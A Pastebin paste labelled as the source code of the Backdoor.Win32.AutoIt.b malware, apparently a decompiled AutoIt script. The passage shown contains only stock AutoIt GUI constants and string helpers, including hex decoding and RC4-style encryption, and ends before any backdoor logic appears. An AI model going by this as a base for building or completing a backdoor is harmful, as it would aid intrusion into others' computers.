Advertisement
FlyFar

Backdoor.Win32.AutoIt.b - Source Code

Jun 11th, 2023
2,099
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 31.32 KB | Cybersecurity | 0 0
  1. ; <AUT2EXE VERSION: 3.1.1.0>
  2.  
  3. ; ----------------------------------------------------------------------------
  4. ; <AUT2EXE INCLUDE-START: D:\pasfe11.au3>
  5. ; ----------------------------------------------------------------------------
  6.  
  7. #NoTrayIcon
  8.  
  9. ; ----------------------------------------------------------------------------
  10. ; <AUT2EXE INCLUDE-START: C:\Program Files\AutoIt3\Include\GuiConstants.au3>
  11. ; ----------------------------------------------------------------------------
  12.  
  13.  
  14. ; ------------------------------------------------------------------------------
  15. ;
  16. ; AutoIt Version: 3.1.1 (beta)
  17. ; Language:       English
  18. ; Description:    Constants to be used in GUI applications.
  19. ;
  20. ; ------------------------------------------------------------------------------
  21.  
  22.  
  23. ; Events and messages
  24. Global Const $GUI_EVENT_CLOSE           = -3
  25. Global Const $GUI_EVENT_MINIMIZE        = -4
  26. Global Const $GUI_EVENT_RESTORE         = -5
  27. Global Const $GUI_EVENT_MAXIMIZE        = -6
  28. Global Const $GUI_EVENT_PRIMARYDOWN     = -7
  29. Global Const $GUI_EVENT_PRIMARYUP       = -8
  30. Global Const $GUI_EVENT_SECONDARYDOWN   = -9
  31. Global Const $GUI_EVENT_SECONDARYUP     = -10
  32. Global Const $GUI_EVENT_MOUSEMOVE       = -11
  33. Global Const $GUI_EVENT_RESIZED         = -12
  34.  
  35.  
  36. ; State
  37. Global Const $GUI_AVISTOP       = 0
  38. Global Const $GUI_AVISTART      = 1
  39. Global Const $GUI_AVICLOSE      = 2
  40.  
  41. Global Const $GUI_CHECKED       = 1
  42. Global Const $GUI_INDETERMINATE = 2
  43. Global Const $GUI_UNCHECKED     = 4
  44.  
  45. Global Const $GUI_ACCEPTFILES   = 8
  46.  
  47. Global Const $GUI_SHOW          = 16
  48. Global Const $GUI_HIDE          = 32
  49. Global Const $GUI_ENABLE        = 64
  50. Global Const $GUI_DISABLE       = 128
  51.  
  52. Global Const $GUI_FOCUS         = 256
  53. Global Const $GUI_DEFBUTTON     = 512
  54.  
  55. Global Const $GUI_EXPAND        = 1024
  56.  
  57.  
  58. ; Font
  59. Global Const $GUI_FONTITALIC    = 2
  60. Global Const $GUI_FONTUNDER     = 4
  61. Global Const $GUI_FONTSTRIKE    = 8
  62.  
  63.  
  64. ; Resizing
  65. Global Const $GUI_DOCKAUTO          = 0x0001
  66. Global Const $GUI_DOCKLEFT          = 0x0002
  67. Global Const $GUI_DOCKRIGHT         = 0x0004
  68. Global Const $GUI_DOCKHCENTER       = 0x0008
  69. Global Const $GUI_DOCKTOP           = 0x0020
  70. Global Const $GUI_DOCKBOTTOM        = 0x0040
  71. Global Const $GUI_DOCKVCENTER       = 0x0080
  72. Global Const $GUI_DOCKWIDTH         = 0x0100
  73. Global Const $GUI_DOCKHEIGHT        = 0x0200
  74.  
  75. Global Const $GUI_DOCKSIZE          = 0x0300    ; width+height
  76. Global Const $GUI_DOCKMENUBAR       = 0x0220    ; top+height
  77. Global Const $GUI_DOCKSTATEBAR      = 0x0240    ; bottom+height
  78. Global Const $GUI_DOCKALL           = 0x0322    ; left+top+width+height
  79. Global Const $GUI_DOCKBORDERS       = 0x0066    ; left+top+right+bottom
  80.  
  81. ; Window Styles
  82. Global Const $WS_TILED              = 0
  83. Global Const $WS_OVERLAPPED         = 0
  84. Global Const $WS_MAXIMIZEBOX        = 0x00010000
  85. Global Const $WS_MINIMIZEBOX        = 0x00020000
  86. Global Const $WS_TABSTOP            = 0x00010000
  87. Global Const $WS_GROUP              = 0x00020000
  88. Global Const $WS_SIZEBOX            = 0x00040000
  89. Global Const $WS_THICKFRAME         = 0x00040000
  90. Global Const $WS_SYSMENU            = 0x00080000
  91. Global Const $WS_HSCROLL            = 0x00100000
  92. Global Const $WS_VSCROLL            = 0x00200000
  93. Global Const $WS_DLGFRAME           = 0x00400000
  94. Global Const $WS_BORDER             = 0x00800000
  95. Global Const $WS_CAPTION            = 0x00C00000
  96. Global Const $WS_OVERLAPPEDWINDOW   = 0x00CF0000
  97. Global Const $WS_TILEDWINDOW        = 0x00CF0000
  98. Global Const $WS_MAXIMIZE           = 0x01000000
  99. Global Const $WS_CLIPCHILDREN       = 0x02000000
  100. Global Const $WS_CLIPSIBLINGS       = 0x04000000
  101. Global Const $WS_DISABLED           = 0x08000000
  102. Global Const $WS_VISIBLE            = 0x10000000
  103. Global Const $WS_MINIMIZE           = 0x20000000
  104. Global Const $WS_CHILD              = 0x40000000
  105. Global Const $WS_POPUP              = 0x80000000
  106. Global Const $WS_POPUPWINDOW        = 0x80880000
  107.  
  108. Global Const $DS_MODALFRAME         = 0x80
  109. Global Const $DS_SETFOREGROUND      = 0x00000200
  110. Global Const $DS_CONTEXTHELP        = 0x00002000
  111.  
  112. ; Window Extended Styles
  113. Global Const $WS_EX_ACCEPTFILES         = 0x00000010
  114. Global Const $WS_EX_MDICHILD            = 0x00000040
  115. Global Const $WS_EX_APPWINDOW           = 0x00040000
  116. Global Const $WS_EX_CLIENTEDGE          = 0x00000200
  117. Global Const $WS_EX_CONTEXTHELP         = 0x00000400
  118. Global Const $WS_EX_DLGMODALFRAME       = 0x00000001
  119. Global Const $WS_EX_LEFTSCROLLBAR       = 0x00004000
  120. Global Const $WS_EX_OVERLAPPEDWINDOW    = 0x00000300
  121. Global Const $WS_EX_RIGHT               = 0x00001000
  122. Global Const $WS_EX_STATICEDGE          = 0x00020000
  123. Global Const $WS_EX_TOOLWINDOW          = 0x00000080
  124. Global Const $WS_EX_TOPMOST             = 0x00000008
  125. Global Const $WS_EX_TRANSPARENT         = 0x00000020
  126. Global Const $WS_EX_WINDOWEDGE          = 0x00000100
  127. Global Const $WS_EX_LAYERED             = 0x00080000
  128.  
  129. Global Const $GUI_WS_EX_PARENTDRAG =      0x00100000
  130.  
  131. ; listView Extended Styles
  132. Global Const $LVS_EX_FULLROWSELECT      = 0x00000020
  133. Global Const $LVS_EX_GRIDLINES          = 0x00000001
  134. Global Const $LVS_EX_SUBITEMIMAGES      = 0x00000002
  135. Global Const $LVS_EX_CHECKBOXES         = 0x00000004
  136. Global Const $LVS_EX_TRACKSELECT        = 0x00000008
  137. Global Const $LVS_EX_HEADERDRAGDROP     = 0x00000010
  138. Global Const $LVS_EX_FLATSB             = 0x00000100
  139. Global Const $LVS_EX_BORDERSELECT       = 0x00008000
  140. ;Global Const $LVS_EX_MULTIWORKAREAS        = 0x00002000
  141. ;Global Const $LVS_EX_SNAPTOGRID            = 0x00080000
  142. ;Global Const $LVS_EX_DOUBLEBUFFER      = 0x00010000
  143.  
  144. ; Tab Extended Styles
  145. Global Const $TCS_EX_FLATSEPARATORS     = 0x1
  146. ;Global Const $TCS_EX_REGISTERDROP      = 0x2
  147.  
  148. ; Label/Pic/Icon
  149. Global Const $SS_LEFT           = 0
  150. Global Const $SS_CENTER         = 1
  151. Global Const $SS_RIGHT          = 2
  152. Global Const $SS_ICON           = 3
  153. Global Const $SS_BLACKRECT      = 4
  154. Global Const $SS_GRAYRECT       = 5
  155. Global Const $SS_WHITERECT      = 6
  156. Global Const $SS_BLACKFRAME     = 7
  157. Global Const $SS_GRAYFRAME      = 8
  158. Global Const $SS_WHITEFRAME     = 9
  159. Global Const $SS_SIMPLE         = 11
  160. Global Const $SS_LEFTNOWORDWRAP = 12
  161. Global Const $SS_BITMAP         = 15
  162. Global Const $SS_ETCHEDHORZ     = 16
  163. Global Const $SS_ETCHEDVERT     = 17
  164. Global Const $SS_ETCHEDFRAME    = 18
  165. Global Const $SS_NOPREFIX       = 0x0080
  166. Global Const $SS_NOTIFY         = 0x0100
  167. Global Const $SS_CENTERIMAGE    = 0x0200
  168. Global Const $SS_RIGHTJUST      = 0x0400
  169. Global Const $SS_SUNKEN         = 0x1000
  170.  
  171. ; Group
  172. Global Const $BS_GROUPBOX       = 0x0007
  173.  
  174. ; Button
  175. Global Const $BS_BOTTOM         = 0x0800
  176. Global Const $BS_CENTER         = 0x0300
  177. Global Const $BS_DEFPUSHBUTTON  = 0x0001
  178. Global Const $BS_LEFT           = 0x0100
  179. Global Const $BS_MULTILINE      = 0x2000
  180. Global Const $BS_PUSHBOX        = 0x000A
  181. Global Const $BS_PUSHLIKE       = 0x1000
  182. Global Const $BS_RIGHT          = 0x0200
  183. Global Const $BS_RIGHTBUTTON    = 0x0020
  184. Global Const $BS_TOP            = 0x0400
  185. Global Const $BS_VCENTER        = 0x0C00
  186. Global Const $BS_FLAT           = 0x8000
  187. Global Const $BS_ICON           = 0x0040
  188. Global Const $BS_BITMAP         = 0x0080
  189.  
  190. ; Checkbox
  191. Global Const $BS_3STATE         = 0x0005
  192. Global Const $BS_AUTO3STATE     = 0x0006
  193. Global Const $BS_AUTOCHECKBOX   = 0x0003
  194. Global Const $BS_CHECKBOX       = 0x0002
  195.  
  196. ; Radio
  197. Global Const $BS_AUTORADIOBUTTON    = 0x0009
  198.  
  199. ; Combo
  200. Global Const $CBS_SIMPLE            = 0x0001
  201. Global Const $CBS_DROPDOWN          = 0x0002
  202. Global Const $CBS_DROPDOWNLIST      = 0x0003
  203. Global Const $CBS_AUTOHSCROLL       = 0x0040
  204. Global Const $CBS_OEMCONVERT        = 0x0080
  205. Global Const $CBS_SORT              = 0x0100
  206. Global Const $CBS_NOINTEGRALHEIGHT  = 0x0400
  207. Global Const $CBS_DISABLENOSCROLL   = 0x0800
  208. Global Const $CBS_UPPERCASE         = 0x2000
  209. Global Const $CBS_LOWERCASE         = 0x4000
  210.  
  211. ; Listbox
  212. Global Const $LBS_NOTIFY            = 0x0001
  213. Global Const $LBS_SORT              = 0x0002
  214. Global Const $LBS_USETABSTOPS       = 0x0080
  215. Global Const $LBS_NOINTEGRALHEIGHT  = 0x0100
  216. Global Const $LBS_DISABLENOSCROLL   = 0x1000
  217. Global Const $LBS_NOSEL             = 0x4000
  218. Global Const $LBS_STANDARD          = 0xA00003
  219.  
  220. ; Edit/Input
  221. Global Const $ES_LEFT               = 0
  222. Global Const $ES_CENTER             = 1
  223. Global Const $ES_RIGHT              = 2
  224. Global Const $ES_MULTILINE          = 4
  225. Global Const $ES_UPPERCASE          = 8
  226. Global Const $ES_LOWERCASE          = 16
  227. Global Const $ES_PASSWORD           = 32
  228. Global Const $ES_AUTOVSCROLL        = 64
  229. Global Const $ES_AUTOHSCROLL        = 128
  230. Global Const $ES_NOHIDESEL          = 256
  231. Global Const $ES_OEMCONVERT         = 1024
  232. Global Const $ES_READONLY           = 2048
  233. Global Const $ES_WANTRETURN         = 4096
  234. Global Const $ES_NUMBER             = 8192
  235. ;Global Const $ES_DISABLENOSCROLL = 8192
  236. ;Global Const $ES_SUNKEN = 16384
  237. ;Global Const $ES_VERTICAL = 4194304
  238. ;Global Const $ES_SELECTIONBAR = 16777216
  239.  
  240. ; Date
  241. Global Const $DTS_SHORTDATEFORMAT   = 0
  242. Global Const $DTS_UPDOWN            = 1
  243. Global Const $DTS_SHOWNONE          = 2
  244. Global Const $DTS_LONGDATEFORMAT    = 4
  245. Global Const $DTS_TIMEFORMAT        = 9
  246. Global Const $DTS_RIGHTALIGN        = 32
  247.  
  248. ; MonthCal
  249. Global Const $MCS_NOTODAY           = 16
  250. Global Const $MCS_NOTODAYCIRCLE     = 8
  251. Global Const $MCS_WEEKNUMBERS       = 4
  252.  
  253. ; Progress bar
  254. Global Const $PBS_SMOOTH    = 1
  255. Global Const $PBS_VERTICAL  = 4
  256.  
  257. ; AVI clip
  258. Global Const $ACS_CENTER            = 1
  259. Global Const $ACS_TRANSPARENT       = 2
  260. Global Const $ACS_AUTOPLAY          = 4
  261. Global Const $ACS_TIMER             = 8
  262. Global Const $ACS_NONTRANSPARENT    = 16
  263.  
  264. ; Tab
  265. Global Const $TCS_SCROLLOPPOSITE    = 0x0001
  266. Global Const $TCS_BOTTOM            = 0x0002
  267. Global Const $TCS_RIGHT             = 0x0002
  268. Global Const $TCS_MULTISELECT       = 0x0004
  269. Global Const $TCS_FLATBUTTONS       = 0x0008
  270. Global Const $TCS_FORCEICONLEFT     = 0x0010
  271. Global Const $TCS_FORCELABELLEFT    = 0x0020
  272. Global Const $TCS_HOTTRACK          = 0x0040
  273. Global Const $TCS_VERTICAL          = 0x0080
  274. Global Const $TCS_TABS              = 0x0000
  275. Global Const $TCS_BUTTONS           = 0x0100
  276. Global Const $TCS_SINGLELINE        = 0x0000
  277. Global Const $TCS_MULTILINE         = 0x0200
  278. Global Const $TCS_RIGHTJUSTIFY      = 0x0000
  279. Global Const $TCS_FIXEDWIDTH        = 0x0400
  280. Global Const $TCS_RAGGEDRIGHT       = 0x0800
  281. Global Const $TCS_FOCUSONBUTTONDOWN = 0x1000
  282. Global Const $TCS_OWNERDRAWFIXED    = 0x2000
  283. Global Const $TCS_TOOLTIPS          = 0x4000
  284. Global Const $TCS_FOCUSNEVER        = 0x8000
  285.  
  286. ; TreeView
  287. Global Const $TVS_HASBUTTONS        = 0x0001
  288. Global Const $TVS_HASLINES          = 0x0002
  289. Global Const $TVS_LINESATROOT       = 0x0004
  290. ;Global Const $TVS_EDITLABELS      = 0x0008
  291. Global Const $TVS_DISABLEDRAGDROP   = 0x0010
  292. Global Const $TVS_SHOWSELALWAYS     = 0x0020
  293. ;Global Const $TVS_RTLREADING     = 0x0040
  294. Global Const $TVS_NOTOOLTIPS        = 0x0080
  295. Global Const $TVS_CHECKBOXES        = 0x0100
  296. Global Const $TVS_TRACKSELECT       = 0x0200
  297. Global Const $TVS_SINGLEEXPAND      = 0x0400
  298. ;Global Const $TVS_INFOTIP        = 0x0800
  299. Global Const $TVS_FULLROWSELECT     = 0x1000
  300. Global Const $TVS_NOSCROLL          = 0x2000
  301. Global Const $TVS_NONEVENHEIGHT     = 0x4000
  302.  
  303. ; Slider
  304. Global Const $TBS_AUTOTICKS = 0x0001
  305. Global Const $TBS_VERT      = 0x0002
  306. Global Const $TBS_HORZ      = 0x0000
  307. Global Const $TBS_TOP       = 0x0004
  308. Global Const $TBS_BOTTOM    = 0x0000
  309. Global Const $TBS_LEFT      = 0x0004
  310. Global Const $TBS_RIGHT     = 0x0000
  311. Global Const $TBS_BOTH      = 0x0008
  312. Global Const $TBS_NOTICKS   = 0x0010
  313. Global Const $TBS_NOTHUMB   = 0x0080
  314.  
  315. ; ListView
  316. Global Const $LVS_ICON              = 0x0000
  317. Global Const $LVS_REPORT            = 0x0001
  318. Global Const $LVS_SMALLICON         = 0x0002
  319. Global Const $LVS_LIST              = 0x0003
  320. Global Const $LVS_EDITLABELS        = 0x0200
  321. Global Const $LVS_NOCOLUMNHEADER    = 0x4000
  322. Global Const $LVS_NOSORTHEADER      = 0x8000
  323. Global Const $LVS_SINGLESEL         = 0x0004
  324. Global Const $LVS_SHOWSELALWAYS     = 0x0008
  325.  
  326. ; Updown
  327. Global Const $UDS_WRAP              = 0x0001
  328. Global Const $UDS_ALIGNRIGHT        = 0x0004
  329. Global Const $UDS_ALIGNLEFT         = 0x0008
  330. Global Const $UDS_ARROWKEYS         = 0x0020
  331. Global Const $UDS_HORZ              = 0x0040
  332. Global Const $UDS_NOTHOUSANDS       = 0x0080
  333.  
  334. ; Graphic
  335. Global Const $GUI_GR_CLOSE      = 1
  336. Global Const $GUI_GR_LINE       = 2
  337. Global Const $GUI_GR_BEZIER     = 4
  338. Global Const $GUI_GR_MOVE       = 6
  339. Global Const $GUI_GR_COLOR      = 8
  340. Global Const $GUI_GR_RECT       = 10
  341. Global Const $GUI_GR_ELLIPSE    = 12
  342. Global Const $GUI_GR_PIE        = 14
  343. Global Const $GUI_GR_DOT        = 16
  344. Global Const $GUI_GR_PIXEL      = 18
  345. Global Const $GUI_GR_HINT       = 20
  346. Global Const $GUI_GR_REFRESH    = 22
  347. Global Const $GUI_GR_PENSIZE    = 24
  348. Global Const $GUI_GR_NOBKCOLOR  = -2
  349.  
  350. ; Control default styles
  351. Global Const $GUI_SS_DEFAULT_AVI        = $ACS_TRANSPARENT
  352. Global Const $GUI_SS_DEFAULT_BUTTON     = 0
  353. Global Const $GUI_SS_DEFAULT_CHECKBOX   = 0
  354. Global Const $GUI_SS_DEFAULT_COMBO      = BitOR($CBS_DROPDOWN, $CBS_AUTOHSCROLL, $WS_VSCROLL)
  355. Global Const $GUI_SS_DEFAULT_DATE       = $DTS_LONGDATEFORMAT
  356. Global Const $GUI_SS_DEFAULT_EDIT       = BitOR($ES_WANTRETURN, $WS_VSCROLL, $WS_HSCROLL, $ES_AUTOVSCROLL, $ES_AUTOHSCROLL)
  357. Global Const $GUI_SS_DEFAULT_GRAPHIC    = 0
  358. Global Const $GUI_SS_DEFAULT_GROUP      = 0
  359. Global Const $GUI_SS_DEFAULT_ICON       = $SS_NOTIFY
  360. Global Const $GUI_SS_DEFAULT_INPUT      = BitOR($ES_LEFT, $ES_AUTOHSCROLL)
  361. Global Const $GUI_SS_DEFAULT_LABEL      = 0
  362. Global Const $GUI_SS_DEFAULT_LIST       = BitOR($LBS_SORT, $WS_BORDER, $WS_VSCROLL, $LBS_NOTIFY)
  363. Global Const $GUI_SS_DEFAULT_LISTVIEW   = BitOR($LVS_SHOWSELALWAYS, $LVS_SINGLESEL)
  364. Global Const $GUI_SS_DEFAULT_MONTHCAL   = 0
  365. Global Const $GUI_SS_DEFAULT_PIC        = $SS_NOTIFY
  366. Global Const $GUI_SS_DEFAULT_PROGRESS   = 0
  367. Global Const $GUI_SS_DEFAULT_RADIO      = 0
  368. Global Const $GUI_SS_DEFAULT_SLIDER     = $TBS_AUTOTICKS
  369. Global Const $GUI_SS_DEFAULT_TAB        = 0
  370. Global Const $GUI_SS_DEFAULT_TREEVIEW   = BitOR($TVS_HASBUTTONS, $TVS_HASLINES, $TVS_LINESATROOT, $TVS_DISABLEDRAGDROP, $TVS_SHOWSELALWAYS)
  371. Global Const $GUI_SS_DEFAULT_UPDOWN     = $UDS_ALIGNRIGHT
  372. Global Const $GUI_SS_DEFAULT_GUI        = BitOR($WS_MINIMIZEBOX, $WS_CAPTION, $WS_POPUP, $WS_SYSMENU)
  373.  
  374.  
  375. ; ----------------------------------------------------------------------------
  376. ; <AUT2EXE INCLUDE-END: C:\Program Files\AutoIt3\Include\GuiConstants.au3>
  377. ; ----------------------------------------------------------------------------
  378.  
  379.  
  380. ; ----------------------------------------------------------------------------
  381. ; <AUT2EXE INCLUDE-START: C:\Program Files\AutoIt3\Include\string.au3>
  382. ; ----------------------------------------------------------------------------
  383.  
  384.  
  385. ;===============================================================================
  386. ;
  387. ; Function Name:    _HexToStr("hex")
  388. ; Description:      Convert a hex string of characters to ASCII Characters.
  389. ; Parameter(s):     $strHex is the hex string you want to convert.
  390. ; Requirement(s):   Hex Input.
  391. ; Return Value(s):  On Success - Returns the converted string of characters.
  392. ;                   On Failure - -1  and sets @ERROR = 1
  393. ; Author(s):        Jarvis Stubblefield
  394. ; Corrected:        2005/09/04 jpm error checking
  395. ;
  396. ;===============================================================================
  397.  
  398. Func _HexToString($strHex)
  399.     Local $strChar, $aryHex, $i, $iDec, $Char, $file, $iOne, $iTwo
  400.  
  401.     $aryHex = StringSplit($strHex, "")
  402.     If  Mod($aryHex[0],2) <>0 Then
  403.         SetError(1)
  404.         Return -1
  405.     EndIf
  406.  
  407.     For $i = 1 To $aryHex[0]
  408.         $iOne = $aryHex[$i]
  409.         $i = $i + 1
  410.         $iTwo = $aryHex[$i]
  411.         $iDec = Dec($iOne & $iTwo)
  412.         If @error <> 0 Then
  413.             SetError(1)
  414.             Return -1
  415.         EndIf
  416.  
  417.         $Char = Chr($iDec)
  418.         $strChar = $strChar & $Char
  419.     Next
  420.  
  421.         Return $strChar
  422. EndFunc
  423.  
  424. ;===============================================================================
  425. ;
  426. ; Function Name:    _StringEncryption()
  427. ; Description:      RC4 Based string encryption
  428. ; Parameter(s):     $i_Encrypt - 1 to encrypt, 0 to decrypt
  429. ;                   $s_EncryptText - string to encrypt
  430. ;                   $s_EncryptPassword - string to use as an encryption password
  431. ;                   $i_EncryptLevel - integer to use as number of times to encrypt string
  432. ; Requirement(s):   None
  433. ; Return Value(s):  On Success - Returns the string encrypted (blank) times with (blank) password
  434. ;                   On Failure - Returns a blank string and sets @error = 1
  435. ; Author(s):        Wes Wolfe-Wolvereness <Weswolf@aol.com>
  436. ;
  437. ;===============================================================================
  438. ;
  439. Func _StringEncrypt($i_Encrypt, $s_EncryptText, $s_EncryptPassword, $i_EncryptLevel = 1)
  440.    If $i_Encrypt <> 0 And $i_Encrypt <> 1 Then
  441.       Return ''
  442.       SetError(1)
  443.    ElseIf $s_EncryptText = '' Or $s_EncryptPassword = '' Then
  444.       Return ''
  445.       SetError(1)
  446.    Else
  447.       If Number($i_EncryptLevel) <= 0 Or Int($i_EncryptLevel) <> $i_EncryptLevel Then $i_EncryptLevel = 1
  448.       Local $v_EncryptModified
  449.       Local $i_EncryptCountH
  450.       Local $i_EncryptCountG
  451.       Local $v_EncryptSwap
  452.       Local $av_EncryptBox[256][2]
  453.       Local $i_EncryptCountA
  454.       Local $i_EncryptCountB
  455.       Local $i_EncryptCountC
  456.       Local $i_EncryptCountD
  457.       Local $i_EncryptCountE
  458.       Local $i_EncryptCountF
  459.       Local $v_EncryptCipher
  460.       Local $v_EncryptCipherBy
  461.       If $i_Encrypt = 1 Then
  462.          Local $i_EncryptCountC = 0
  463.          For $i_EncryptCountF = 0 To $i_EncryptLevel Step 1
  464.             $i_EncryptCountG = ''
  465.             $i_EncryptCountH = ''
  466.             $v_EncryptModified = ''
  467.             For $i_EncryptCountG = 1 To StringLen($s_EncryptText)
  468.                If $i_EncryptCountH = StringLen($s_EncryptPassword) Then
  469.                   $i_EncryptCountH = 1
  470.                Else
  471.                   $i_EncryptCountH = $i_EncryptCountH + 1
  472.                EndIf
  473.                $v_EncryptModified = $v_EncryptModified & Chr(BitXOR(Asc(StringMid($s_EncryptText, $i_EncryptCountG, 1)), Asc(StringMid($s_EncryptPassword, $i_EncryptCountH, 1)), 255))
  474.             Next
  475.             $s_EncryptText = $v_EncryptModified
  476.             $i_EncryptCountA = ''
  477.             $i_EncryptCountB = 0
  478.             $i_EncryptCountC = ''
  479.             $i_EncryptCountD = ''
  480.             $i_EncryptCountE = ''
  481.             $v_EncryptCipherBy = ''
  482.             $v_EncryptCipher = ''
  483.             $v_EncryptSwap = ''
  484.             $av_EncryptBox = ''
  485.             Local $av_EncryptBox[256][2]
  486.             For $i_EncryptCountA = 0 To 255
  487.                $av_EncryptBox[$i_EncryptCountA][1] = Asc(StringMid($s_EncryptPassword, Mod($i_EncryptCountA, StringLen($s_EncryptPassword)) + 1, 1))
  488.                $av_EncryptBox[$i_EncryptCountA][0] = $i_EncryptCountA
  489.             Next
  490.             For $i_EncryptCountA = 0 To 255
  491.                $i_EncryptCountB = Mod( ($i_EncryptCountB + $av_EncryptBox[$i_EncryptCountA][0] + $av_EncryptBox[$i_EncryptCountA][1]), 256)
  492.                $v_EncryptSwap = $av_EncryptBox[$i_EncryptCountA][0]
  493.                $av_EncryptBox[$i_EncryptCountA][0] = $av_EncryptBox[$i_EncryptCountB][0]
  494.                $av_EncryptBox[$i_EncryptCountB][0] = $v_EncryptSwap
  495.             Next
  496.             For $i_EncryptCountA = 1 To StringLen($s_EncryptText)
  497.                $i_EncryptCountC = Mod( ($i_EncryptCountC + 1), 256)
  498.                $i_EncryptCountD = Mod( ($i_EncryptCountD + $av_EncryptBox[$i_EncryptCountC][0]), 256)
  499.                $i_EncryptCountE = $av_EncryptBox[Mod( ($av_EncryptBox[$i_EncryptCountC][0] + $av_EncryptBox[$i_EncryptCountD][0]), 256) ][0]
  500.                $v_EncryptCipherBy = BitXOR(Asc(StringMid($s_EncryptText, $i_EncryptCountA, 1)), $i_EncryptCountE)
  501.                $v_EncryptCipher = $v_EncryptCipher & Hex($v_EncryptCipherBy, 2)
  502.             Next
  503.             $s_EncryptText = $v_EncryptCipher
  504.          Next
  505.       Else
  506.          For $i_EncryptCountF = 0 To $i_EncryptLevel Step 1
  507.             $i_EncryptCountB = 0
  508.             $i_EncryptCountC = ''
  509.             $i_EncryptCountD = ''
  510.             $i_EncryptCountE = ''
  511.             $v_EncryptCipherBy = ''
  512.             $v_EncryptCipher = ''
  513.             $v_EncryptSwap = ''
  514.             $av_EncryptBox = ''
  515.             Local $av_EncryptBox[256][2]
  516.             For $i_EncryptCountA = 0 To 255
  517.                $av_EncryptBox[$i_EncryptCountA][1] = Asc(StringMid($s_EncryptPassword, Mod($i_EncryptCountA, StringLen($s_EncryptPassword)) + 1, 1))
  518.                $av_EncryptBox[$i_EncryptCountA][0] = $i_EncryptCountA
  519.             Next
  520.             For $i_EncryptCountA = 0 To 255
  521.                $i_EncryptCountB = Mod( ($i_EncryptCountB + $av_EncryptBox[$i_EncryptCountA][0] + $av_EncryptBox[$i_EncryptCountA][1]), 256)
  522.                $v_EncryptSwap = $av_EncryptBox[$i_EncryptCountA][0]
  523.                $av_EncryptBox[$i_EncryptCountA][0] = $av_EncryptBox[$i_EncryptCountB][0]
  524.                $av_EncryptBox[$i_EncryptCountB][0] = $v_EncryptSwap
  525.             Next
  526.             For $i_EncryptCountA = 1 To StringLen($s_EncryptText) Step 2
  527.                $i_EncryptCountC = Mod( ($i_EncryptCountC + 1), 256)
  528.                $i_EncryptCountD = Mod( ($i_EncryptCountD + $av_EncryptBox[$i_EncryptCountC][0]), 256)
  529.                $i_EncryptCountE = $av_EncryptBox[Mod( ($av_EncryptBox[$i_EncryptCountC][0] + $av_EncryptBox[$i_EncryptCountD][0]), 256) ][0]
  530.                $v_EncryptCipherBy = BitXOR(Dec(StringMid($s_EncryptText, $i_EncryptCountA, 2)), $i_EncryptCountE)
  531.                $v_EncryptCipher = $v_EncryptCipher & Chr($v_EncryptCipherBy)
  532.             Next
  533.             $s_EncryptText = $v_EncryptCipher
  534.             $i_EncryptCountG = ''
  535.             $i_EncryptCountH = ''
  536.             $v_EncryptModified = ''
  537.             For $i_EncryptCountG = 1 To StringLen($s_EncryptText)
  538.                If $i_EncryptCountH = StringLen($s_EncryptPassword) Then
  539.                   $i_EncryptCountH = 1
  540.                Else
  541.                   $i_EncryptCountH = $i_EncryptCountH + 1
  542.                EndIf
  543.                $v_EncryptModified = $v_EncryptModified & Chr(BitXOR(Asc(StringMid($s_EncryptText, $i_EncryptCountG, 1)), Asc(StringMid($s_EncryptPassword, $i_EncryptCountH, 1)), 255))
  544.             Next
  545.             $s_EncryptText = $v_EncryptModified
  546.          Next
  547.       EndIf
  548.       Return $s_EncryptText
  549.    EndIf
  550. EndFunc   ;==>_StringEncrypt
  551.  
  552. ;===============================================================================
  553. ;
  554. ; Description:      Changes a string to proper case, same a =Proper function in Excel
  555. ; Syntax:           _StringProper( $sString)
  556. ; Parameter(s):     $sString      - String to change to proper case.
  557. ; Requirement(s):   None
  558. ; Return Value(s):  On Success - Returns the proper string.
  559. ;                   On Failure - Returns an empty string and sets @error = 1
  560. ; Author(s):        Jos van der Zande <jdeb@autoitscript.com>
  561. ; Note(s):          None
  562. ;
  563. ;===============================================================================
  564.  
  565. Func _StringProper($s_Str)
  566.    Local $iX = 0
  567.    Local $CapNext = 1
  568.    Local $s_nStr = ""
  569.    Local $s_CurChar
  570.    For $iX = 1 To StringLen($s_Str)
  571.       $s_CurChar = StringMid($s_Str, $iX, 1)
  572.       Select
  573.          Case $CapNext = 1
  574.             If __CharacterIsApha($s_CurChar) Then
  575.                $s_CurChar = StringUpper($s_CurChar)
  576.                $CapNext = 0
  577.             EndIf
  578.          Case Not __CharacterIsApha($s_CurChar)
  579.             $CapNext = 1
  580.          Case Else
  581.             $s_CurChar = StringLower($s_CurChar)
  582.       EndSelect
  583.       $s_nStr = $s_nStr & $s_CurChar
  584.    Next
  585.    Return ($s_nStr)
  586. EndFunc   ;==>_StringProper
  587.  
  588. ;===============================================================================
  589. ;
  590. ; Description:      Repeats a string a specified number of times.
  591. ; Syntax:           _StringRepeat( $sString, $iRepeatCount )
  592. ; Parameter(s):     $sString      - String to repeat
  593. ;                   $iRepeatCount - Number of times to repeat the string
  594. ; Requirement(s):   None
  595. ; Return Value(s):  On Success - Returns string with specified number of repeats
  596. ;                   On Failure - Returns an empty string and sets @error = 1
  597. ; Author(s):        Jeremy Landes <jlandes@landeserve.com>
  598. ; Note(s):          None
  599. ;
  600. ;===============================================================================
  601. Func _StringRepeat($sString, $iRepeatCount)
  602.    ;==============================================
  603.    ; Local Constant/Variable Declaration Section
  604.    ;==============================================
  605.    Local $sResult
  606.    Local $iCount
  607.  
  608.    Select
  609.       Case Not StringIsInt($iRepeatCount)
  610.          SetError(1)
  611.          Return ""
  612.       Case StringLen($sString) < 1
  613.          SetError(1)
  614.          Return ""
  615.       Case $iRepeatCount <= 0
  616.          SetError(1)
  617.          Return ""
  618.       Case Else
  619.          For $iCount = 1 To $iRepeatCount
  620.             $sResult = $sResult & $sString
  621.          Next
  622.  
  623.          Return $sResult
  624.    EndSelect
  625. EndFunc   ;==>_StringRepeat
  626.  
  627. ;===============================================================================
  628. ;
  629. ; Description:      Reverses the contents of the specified string.
  630. ; Syntax:           _StringReverse( $sString )
  631. ; Parameter(s):     $sString - String to reverse
  632. ; Requirement(s):   None
  633. ; Return Value(s):  On Success - Returns reversed string
  634. ;                   On Failure - Returns an empty string and sets @error = 1
  635. ; Author(s):        Jonathan Bennett <jon at hiddensoft com>
  636. ; Note(s):          None
  637. ;
  638. ;===============================================================================
  639. Func _StringReverse($sString)
  640.    ;==============================================
  641.    ; Local Constant/Variable Declaration Section
  642.    ;==============================================
  643.    Local $sReverse
  644.    Local $iCount
  645.  
